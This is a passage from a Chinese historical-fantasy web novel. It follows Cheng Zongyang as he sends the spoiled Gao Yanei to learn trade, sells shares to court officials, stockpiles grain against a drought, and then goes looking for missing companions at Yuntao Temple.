程宗扬笑眯眯道:“放心。有冯大法就够了。要不再给你带两个兽蛮武士?这下底气够足了吧。只不过要带兽蛮武士的话,你的护卫一个人都不能带,只能自己去。”

高衙内一听有兽蛮武士,顿时放了一半的心,“成!我听师傅的!”

高衙内兴高采烈去叫人备马,程宗扬叫住冯源,低声叮嘱道:“等离开临安城,不管他怎么撒泼,你们都别理睬,真要不听话,就把他捆起来。记住,别把他当少爷,就是你们商队的小跟班。这小崽子敢不干活,该打就打,该骂就骂!只别打脸就成。”

冯源笑道:“程头儿,你就放心吧!我们离了临安就走小路,保证把他看得死死的。”

“老敖已经改道向北,你们就在汉国境内会合。多带些钱,但别让他看见,到了汉国,就说没钱,让他拿主意。他要拿不出主意,你们就自己悄悄吃饭,让他饿着。”

“程头儿,憋屈这么狠行不行啊?再怎么说高衙内也是少爷出身,跟我们比不了。”

“人受憋屈武艺高。憋不死就行。”程宗扬又吩咐道:“路上你们也多留点心。别让他出什么意外。老术、老豹要留在临安,青面兽和哈迷蚩跟你们一道。真遇到大事,你们听哈迷蚩的。”

“好咧!”冯源又道:“程头儿,按你说的,我做了十几颗小的,所有的龙睛玉全用完了。我带六颗,剩下的都给你留着。就在老冯床下,西边第四块砖,你小心刨开,里面有个盒子。每一颗我都用棉花包着。”

“好。”程宗扬拍了拍他的背,“一路小心。我去苍澜最多三个月,三个月之后不管生意怎么样,你们都得赶回来。”

冯源犹豫道:“三个月是不是长了点儿?”

“就三个月!”程宗扬叹了口气,“这回要收拾不好他,我也没辙了。”

高衙内跨在马上,一脸的得意洋洋,踌躇满志,浑然不知自己即将面对的命运有多悲惨。

…………………………………………………………………………………

“好啊!”

临安的驿馆内,张少煌一脸愤然地拍案怒道:“你们几个自己寻欢作乐,居然不叫我一声!还当我是兄弟吗!”

“侯爷息怒!”程宗扬笑道:“你刚到临安,听说是枢密院的韩节夫亲自作陪,给你接风洗尘,我就算叫你,你能把宋国的官员都扔在驿馆里面,自己溜出来吗?”

“这有何难?宋国这些官员的嘴脸我也看够了!今日我便装病!到千秋节再和他们打交道!”张少煌道:“听说你们昨晚在玉露楼喝的蓝桥风月?这我可得尝尝。还愣着干嘛?赶紧着!前边带路!”

程宗扬苦笑道:“张侯爷,这会儿还不到午时呢。你没听说昨晚小侯爷一个人把整个玉露楼几十个姑娘都喝倒了?恐怕这会儿还没醒呢。”

“你们!”张少煌指着他,半晌才一甩手,气得团团乱转。

“说正经的。”程宗扬道:“这次你来临安,有什么大事?”

张少煌没好气地说道:“什么正事都没有,就是作个样子。”

晋国在江州交战正殷的时候向临安派出祝寿的使节,本身就说明了晋国官方的态度。但程宗扬不相信王茂弘的目的会这么简单。

“真的吗?”

“王丞相还让我送份礼物给贾太师。”

程宗扬来了兴趣,“什么礼物?”

?少煌叫人拿来一幅卷轴,却是王茂弘亲手写的一副字。

程宗扬打开卷轴,只见上面写着四个富丽堂皇的大字:春华秋实。

“这词儿可够俗的。”程宗扬刚笑了一半,便感觉到味道不对,不由咂了咂嘴。

贾师宪独掌宋国大权十余年,早已位极人臣。明智的作法,应该在矛盾激化之前及早放权,以宋国对致仕大臣的优厚待遇,后半辈子享不尽的荣华富贵。

王茂弘与贾师宪地位相当,同样为相多年,即使辅佐的君主是一个连庸主都称不上的废物,还要故作昏聩,韬光养晦。他这副字不劝贾师宪激流勇退也就罢了,反而对贾师宪倍加推崇——要让那个小白脸宋主知道,整死老贾的心都有。

不过王茂弘这副字写得圆滑之极,换个角度理解成对贾师宪功绩的肯定也不为错。甚至还能解释成已经“秋实”,该放手歇息——这四个字,宋国那些各怀心思的臣子尽可以按自己的理解各取所需,任意解释,至于王茂弘的本意,既不重要,也没人在乎。

程宗扬拿着那副字,半晌才道:“咱们这位王丞相是怕宋国太平,专门递刀子来的吧?临安朝堂上杀个你死我活,他老人家才满意是吧?”

“胡说!什么你死我活?”张少煌剔着指甲道:“让我说,都别活才好。”

“用的着这么深仇大恨吗?”

张少煌叹道:“哪里来的仇?不过是自保而已。”他放下小银刀,低声道:“今春建康大旱,欠收已成定局。今年的秋赋能收上四成就不错了。”

程宗扬吓了一跳,“这么惨?”

张少煌微微点头,然后道:“北方三朝,汉唐都是一等一的强国,秦国虽然略小,但秦军最耐苦战,不是好招惹的。南三朝昭南独霸天南,剩下晋宋两国,各有各的麻烦。但无论如何,晋国不能当最弱的那只羊。”

程宗扬想了半晌,然后笑道:“难得张侯爷对时局这么透彻。”

“我才不耐烦这些。”张少煌道:“这是王丞相特意让我告诉你的。”

程宗扬愕然道:“对我说这些军国大事?王丞相没搞错吧?”

“我瞧着王丞相的意思,大概是想让你借助云氏的财力,稳住局面吧。”

这只是张少煌的猜测,但程宗扬敢肯定王茂弘不是这个意思——有王丞相和谢太傅这两条老狐狸在,想从云氏挤出油来还不是分分钟钟的事?

离开驿馆,程宗扬便下令道:“从现在开始,各处商号全力收购粮食。”

祁远讶道:“程头儿,还要炒粮?”

“保命。”程宗扬简短说道:“尽量不要惊动外面,避免抬高粮价。另外,仿宋国的例子,在江州设立常平仓,储量越大越好。还有,请萧侯爷在宁州也设一个。”

祁远道:“建康要不要也设一处?”

“我猜你在建康设不起来。”程宗扬道:“建康周围郡县的土地都在世家大族手里,粮食生意根本就做不成——干!”

程宗扬突然省悟过来,王茂弘为什么要让张少煌给自己传话。晋国各大世家的势力盘根错结,各有各的算盘要打,即使王谢两家牵头,也未必能让各家拿出粮食共渡难关。倒是自己结交的这些世家子弟,彼此间除了酒肉交情,根本不用涉及什么忠君报国,仁义道德。大家合伙做生意,纯粹是赤裸裸的利益关系,反而比朝堂上的勾心斗角更容易达成协议。

王茂弘身份地位放在那里,许多话不好说。他借张少煌的口抛出晋国大旱的消息,既是借自己的力,也是给自己布了个局,可这个局自己不仅要跳,而且还跳得心甘情愿——毕竟是一桩有利可图的大生意。

人为财死,鸟为食亡,这话半点不假。这生意自己如果放过,那些股东非骂死自己不可。而且有自己主持,比起那些豪族世家竭泽而渔,硬把粮食卖到珍珠的价格,局面会好看得多。于是王老头只用了一句话,就引得自己下十分力气替他操心办事,他老人家只用在丞相府扇风纳凉就够了。

“这老狐狸!”程宗扬笑骂一声,心里道:想闲着,没那么容易!到时候我在晋宫住半年,从东宫睡到西宫,让你给我擦屁股去!

“程头儿,”祁远提醒道:“股东大会的日子是不是该定下来?”

“还有几个大股东没到呢,等人到齐再说。”程宗扬勒住马,“你们先回去吧,我约了人,晚些再回园子。”

…………………………………………………………………………………

程宗扬在橡树瓦等了半个时辰,终于等到高俅出现。

“苏爷,来尝尝!”程宗扬热情地说道:“正宗的建康鱼鲊!刚从几千里外运来的。”

高俅哼了一声,自顾自倒了杯蛇麻酒,沉声道:“找老夫何事?”

“苏爷,脸怎么拉这么长?不会是小的打扰了你和媚娘的好事吧?”

“废话少说!”

“真是新人上了床,媒人丢过墙——苏爷,你别瞪!我不拿媚娘打趣了还不行?话说回来,苏爷对媚娘可真够上心的。小的还是头一回见苏爷为个女人动肝火。”

眼看高俅脸色又阴沉下来,程宗扬笑嘻嘻道:“媚娘虽然是绝色,可为个青楼的粉头,苏爷不至于要和小的翻脸吧?”

高俅面容僵了一下,然后挤出一丝笑容,亲切地说道:“说哪里话!老夫膝下无女,向来把媚娘当女儿看。哈哈哈……”

程宗扬拉长声音道:“真的吗?那招我作个女婿怎么样?”

高俅把铁皮酒杯往桌上重重一墩。

程宗扬举起双手,“不说媚娘了!绝对不再说了!”

程宗扬亲自夹了鱼鲊,放在碟中,等高俅消了气,才弯腰从靴筒里摸出一张纸,放在桌上,“这个人,帮忙提拔一下。”

高俅看了两眼,“镖头?哪里的?”

“威远镖局,老江湖了,身手还过得去。”

“好说。”高俅道:“明日让他把履历送来,先给个九品的武职。这次京营损失甚大,正需补充人手。考核时让他多拿些钱来,一个七品武官稳稳当当。”

程宗扬笑道:“苏爷果然是明码实价,童叟无欺。”

高俅神情恢复从容,大大方方地说道:“做生意嘛,当然要讲个公道。”

“说起做生意,有点股份,不知道苏爷有没有兴趣?”

“什么股份?”

程宗扬微笑道:“一点小生意,在宋国一共是十股。每股两万金铢。”

“哪里的股份?”

“盘江程氏。”

高俅矜持地笑了笑,“两万金铢可不是小数目。”

程宗扬道:“不瞒苏爷说,这已经是第三批股份了,第一批十股是一年前的事,一文的现钱都没要。第二批十股是四个月前,每股作价两千金铢。如今是第三批,每股两万金铢。”

高俅神情微动,“宋国一共十股?可有人买了?”

“有。”程宗扬毫不隐瞒地说道:“贾太师占了一股,韩节夫和史同叔各占半股。蔡元长倒是有钱,直接占了一股。苏爷,有没有兴趣来一股?”

高俅冷哼一声,“给我两股。都用商儿的名义。”

程宗扬佩服地竖起拇指,“苏爷,你这个干爹当得可太到位了。”

一年间从零翻到两万金铢,旁人也许会觉得拿两万金铢买一个原本一文不值的股份是笑话,高俅却反过来看出这背后所意味的暴利。事实上程宗扬这几日游说自己结交的官员,没费多少口舌,就引得贾师宪、蔡元长、韩节夫、史同叔等人纷纷入股,不是因为他面子够大,而是因为那几位都看出这一点。从这一点来说,这几位倒称得上是奸雄所见略同。

高俅道:“老夫马齿渐长,总给小儿留点家业。”

程宗扬没有答话,只低头削着水果,气氛突然变得诡异起来。

高俅也是老江湖,察颜观色的本领早已炉火纯青,他一手拿着蛇麻酒,欲饮未饮,耐着性子与程宗扬周旋。

最后还是程宗扬没撑住,他放下水果,“有件事要跟苏爷告个罪——衙内这会儿已经离开临安。”

高俅拿起酒杯饮了一口,不动声色地说道:“你又引商儿去哪里鬼混了?”

程宗扬咳嗽一声,老老实实道:“去汉国学着做生意去了。”

“噗!”高俅一口酒全喷了出来。

“荒唐!”高俅拍案道:“士农工商!商人乃四民之末!商儿有产业找奴仆打理便是,哪里用自己去学生意!汉国——”他咆哮道:“汉国民风凶悍!多有横行不法的豪强!刁钻蛮横的酷吏!好勇斗狠的游侠儿!我家小儿岂能去那种地方!”

高俅披头盖脸一顿痛骂,程宗扬被他喷了一脸的吐沫星子也不敢擦,还得赔着笑脸给高俅添茶,“苏爷息怒,先喝杯茶去去火。”

“少来!”高俅怒道:“老夫要立刻回府,召集禁军追赶商儿!”

程宗扬把茶杯递到高俅手中,认真道:“这次你把他追回来。高智商这娃可就彻底废了。”

高俅含怒盯着他。

“太尉对衙内的悉心爱护,有目共睹。但衙内平常做的事,想必太尉也有所耳闻吧?”

高俅冷哼道:“不过是和几个谈得来的朋友干些小儿的勾当,有何不妥?商儿在年轻人中的威信,可不是靠的老夫!”

程宗扬险些吐出来,还威信……高俅这偏心都偏得没边了。

“太尉,我是认真的——衙内不笨,甚至还是个聪明人。”

“废话!”高俅不满地说道:“那可是老夫从小养到大的孩儿!”

程宗扬没理会他的自吹自擂,“可如果现在没了太尉,衙内能支撑这份家业吗?”

高俅犹豫了一下,“未尝不可。”

“坦白的说——不可能。”程宗扬道:“太尉想必知道,朝堂中那些衣冠贵人,不敢说全是衣冠禽兽,但有一半都是豺狼!魏篝侯的事情太尉比我清楚,无非是自不量力,贪图爵位,结果羊入狼穴,尸骨无存,连自家妻女都成了世人的笑柄。”

高俅道:“他的典当行作孽太多,有此报应也是情理之中。”

“温室里种不出青松,笼子里养不出苍鹰。”程宗扬道:“衙内不缺聪明,缺的是历练。”

高俅沉默半晌,沉声道:“任你说得天花乱坠,老夫终究是放心不下。此去汉国,山高路远,商儿若有丝毫闪失,老夫如何对得起恩公?你说的历练却也不错,老夫这便让富安带一个都的禁军精锐,随商儿历练……”

“停!”程宗扬赶紧打断他,“一个都?这是去打仗的吧?最多五个人!”

“你可知北地游侠虎狼成性!重然诺,轻生死,一言不合便拔剑相向!”高俅道:“无论如何,不能少于五十名禁军!”

“十名!”程宗扬咬着牙道:“而且不能露面!只能在暗处护卫!要不然此事就此作罢。你就是把我打死,我也不告诉你衙内在哪儿。”

高俅指着他,怒声道:“你!”

程宗扬扯开衣领,一脸无赖的拍着脖颈道:“有种你拿屠龙刀朝这儿砍!”

高俅恨恨跺了一脚,拂袖而去。

自己先斩后奏,终于逼得高俅放手让高衙内历练,程宗扬心里一阵轻松,路已经给高衙内铺好,往后怎么走,就看他自己的造化了。如果高衙内真是岳鸟人的儿子,自己也算对得起这位岳父大人。

眼看已经是午时,程宗扬随便吃了些东西,便马不停蹄地赶回翠微园。

园中静悄悄的,内院的柳荫下,两个女子正坐在一处说话,其中一个徐娘半老,仍然骚媚入骨,正是兰姑,另一个身柔体娇,举止放浪,却是昔日的赌场老板游婵。

程宗扬走过去笑道:“正想介绍你们认识,你们倒自己先聊上了。”

两女起身道:“公子。”一边说,兰姑一边还骚媚地抛了个媚眼。

程宗扬连连摇手,“兰姑,你就饶了我吧。这媚眼还是给老四留着吧,我可吃不消。”

兰姑笑啐道:“原来公子也是个银样蜡枪头。”

“我这么隐私的秘密都被你知道了?”程宗扬惨叫道:“兰姑!千万不要对别人说啊!”

游婵被黑魔海当作叛徒废去武功,经过多日的调理才勉强可以起身。此时虽然薄施脂粉,脸色仍有种失血的苍白。她又是惊讶又是好笑地看着这一幕,方才的交谈中,游婵已经知道兰姑的来历,却没想到这位“飞鸟上忍”背后的原身会是如此随和。

程宗扬道:“你们谈什么呢?这么开心。”

兰姑笑道:“还不是公子画的那个大饼?把奴家的心肝都勾引起来。今日正好遇到游掌柜,越说越是投机了呢。”

“好啊!将来你的青楼,游婵的赌场,正好能做邻居。”程宗扬笑道:“干脆你们合伙设一处青楼赌坊,里面的荷官都是光屁股小妞,保证那些赌客大晕其浪,抢着往外输钱。”

两女都笑了起来,“全脱光便少了韵味,还是欲露未露更诱人。”

程宗扬大度地说道:“这事儿你们是专家,我就说说。临安这边的商号暂时由秦会之打理,你们有什么念头,尽管对他讲。用不着给我省钱,但要花的是地方。”

兰姑笑道:“公子尽管放心。奴家省得。”

程宗扬拉起游婵的手,探了探她的脉象,“你好好将养身子。赌坊少说要半年才能开张,用不着心急。”

“是。奴家知道了。”

程宗扬微微一笑,然后贴在她耳边低声道:“找个好人家,便嫁了吧。”

游婵身子一颤,露出疑惑的眼神,接着变得幽怨起来。

程宗扬暗暗叹了口气,以自己对游婵的恩义,如果把她收入房中,任谁都觉得理所当然,没人会吐半个不字。但程宗扬知道,那样的结果也许自己能占些便宜,但最终只会是害了游婵。

自己可没心情建一个规模庞大的后宫,把遇到的女子尽数收入囊中,一个月也不定能见上一次面,还非要霸占着不放。与其让这些女子闲置,造成极大的浪费,并且充满绿帽的风险,还不如好聚好散,大伙留一份交情。

“公子。”王蕙匆匆出来,虽然努力保持镇静,眼中却露出一丝焦灼,急切地说道:“师师不见了。”

程宗扬呆了半晌,“怎么不见了?”

“师师平常起得很早,但今天早晨奴家去寻她说话,就没有见到她。奴家以为她出门办事,也未曾在意。可一直到午时,仍不见踪影,奴家才觉得奇怪。问众人时,都说未曾见到师师。”

先是卓云君和阮香凝失踪,现在又丢了个李师师,程宗扬越想越觉得不对,他安慰道:“也许是去钱庄了。我让人去看看。”

王蕙接下来一句话,让程宗扬仿佛兜头浇了盆冷水,“郭公公也不见了!”

“清浦!老术!韩玉!”

程宗扬连声把众人唤来,听说园中平白少了两个人,众人都面面相觑。程宗扬有苦难言,阮香凝和卓云君的事自己一直瞒着众人——毕竟林娘子在自己房里的事,实在不好往外说。当然,大家都知道他房里有女人,只是没人多问。

这一番折腾,外院也被惊动起来,崔茂披着一身青袍缓步过来,听到程宗扬在问李师师和郭槐,他抿了口酒,满不在乎地说道:“今日一早就出门了。”

金兀术道:“不可能!吾睡觉还睁着眼睛!”

“没走大门,是从湖上走的。”

程宗扬道:“六哥,你怎么知道这么清楚?”

“卢五哥今早回来,送他们走的。”

程宗扬叫道:“怎么没跟我说一声?卢五哥带他们去哪儿了?”

崔茂道:“多半是去云涛观了吧。”

…………………………………………………………………………………

云涛观是宋国宫廷所建的道观,宫中贵人时常往观中小住,几乎等于大内的行宫,这些都是程宗扬早己知道的。可卢景、李师师、郭槐、卓云君、阮香凝,这些八杆子打不着的人一块儿去云涛观,怎么想都觉得蹊跷。

星月湖大营自从被宋国列为叛逆,双方便反目为仇。但星月湖大营对宋国的敌视程度,也有高下之分,斯明信和卢景显然是最激烈的那种。萧遥逸提到,他们两个曾经闯入宋宫,向太后追问岳帅长女的下落,虽然没有结果,但态度可见一斑,如果说卢景找郭槐的麻烦,自己一点都不意外——但这和李师师有什么关系?

程宗扬一头雾水地赶到云涛观,却见观门紧闭,门里由小黄门充作的道僮只说今日观中有事,闭门谢客,无论谁都不能进。

程宗扬也不和他废话,直接找了个僻静的地方,越墙而入。

云涛观在南屏山下,占地极广,好在自己来过一趟,大致看了一下方位,便朝当日刘娥给自己纳妾的地方赶去。

刚转过弯,背后风声忽然一紧,接着背脊像被烈火烧炙般,传来一股炽热的掌风。

程宗扬身子一侧,贴着院墙立定,先解除背后的威胁,然后一掌拍出。对面是一个上了年纪的道人,不过看他下巴光溜溜的,多半也是宫里的太监。

双掌相交,那太监一声闷哼,抱着溅血的手掌向后退去。却是程宗扬掌力还未吐实,便从袖中挥出珊瑚匕首,在他掌心扎了个透明窟窿。

那太监发出一声尖啸,不过时,远处便传来衣袂破空的微响,几名看守道观的太监顷刻赶来,将程宗扬团团围住。

这些太监修为都不低,虽然比起郭大貂珰还差了一截,但几个人一拥而上,自己想逃都不容易。

领头的太监刚要开口,却见程宗扬手掌一松,把那柄锋锐异常的匕首扔到一旁,接着举起双手,摆出投降的架势,“我是来找人的,不是来打架的!”

忽然后面有人尖声道:“原来是公子爷!”

陈琳排众上前,跪下施了一礼,“奴才见过公子爷。”

程宗扬道:“姨娘也来了?”

“刚到半个时辰。”

“难怪观门关这么紧呢。”

陈琳道:“奴才正是去接公子,没想到公子爷已经到了。这边请。”

那些太监这时才知道程宗扬的身份,恭恭敬敬施了礼,然后各自退开,就连刚才被他伤了手掌的太监也没有半点怨色。

程宗扬捡起匕首,一边走一边好奇地问道:“什么事要劳姨娘的大驾?”

陈琳躬着腰在前引路,闻言道:“是娘娘的主子来了。”

程宗扬听得稀奇,“是你说错了,还是我听错了?太皇太后的主子?难道是你们先帝的先帝诈尸了?”

陈琳毕恭毕敬地说道:“公子一去便知。”

程宗扬正纳闷间,忽然打了个冷战,能被刘娥当作主子的,只有一个人:星月湖大营的缔造者、宋国那位以莫须有罪名下狱的叛逆、众人口称的岳帅、黑魔海说的岳贼、鱼氏口中的混蛋鹏、武穆王岳鹏举!

请续看《六朝云龙吟》10